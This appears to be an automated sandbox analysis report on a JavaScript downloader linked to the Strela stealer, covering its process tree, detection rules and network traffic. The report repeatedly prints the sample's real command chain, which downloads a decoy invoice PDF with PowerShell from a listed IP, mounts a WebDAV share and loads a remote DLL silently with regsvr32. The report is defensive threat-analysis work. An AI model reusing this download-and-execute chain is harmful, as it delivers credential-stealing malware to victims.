Edit tour

Windows Analysis Report
324865730118751586.js

Overview

General Information

Sample name:	324865730118751586.js
Analysis ID:	1587789
MD5:	12c5aa186cfb411c9df4ef8735a70d91
SHA1:	8a23968197c363fe810294cebc824e0da27bf2ce
SHA256:	62ce669d5542f2d2ebb1c43af4b656295a4a648267d7b40a269852ed8c416b08
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6176 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6440 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6616 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4716 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6736 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1676,i,15707326224587999435,5952593466761488752,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6944 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4556 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6252 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6176	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6616, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6616, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ProcessId: 6176, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4556, Protocol: tcp, SourceIp: 192.168.2.12, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6176, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 6440, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6176, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 6440, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6176, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 6440, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6176, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 6440, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6176, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 6440, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ProcessId: 6176, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6616, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4556, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6252, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4556, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\324865730118751586.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6176, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll, ProcessId: 6440, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:00:50.733112+0100	1810005	1	Potentially Bad Traffic	192.168.2.12	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:00:48.215329+0100	1810000	2	Potentially Bad Traffic	192.168.2.12	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 324865730118751586.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 324865730118751586.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.12:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:00:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.12:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.12:53080 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

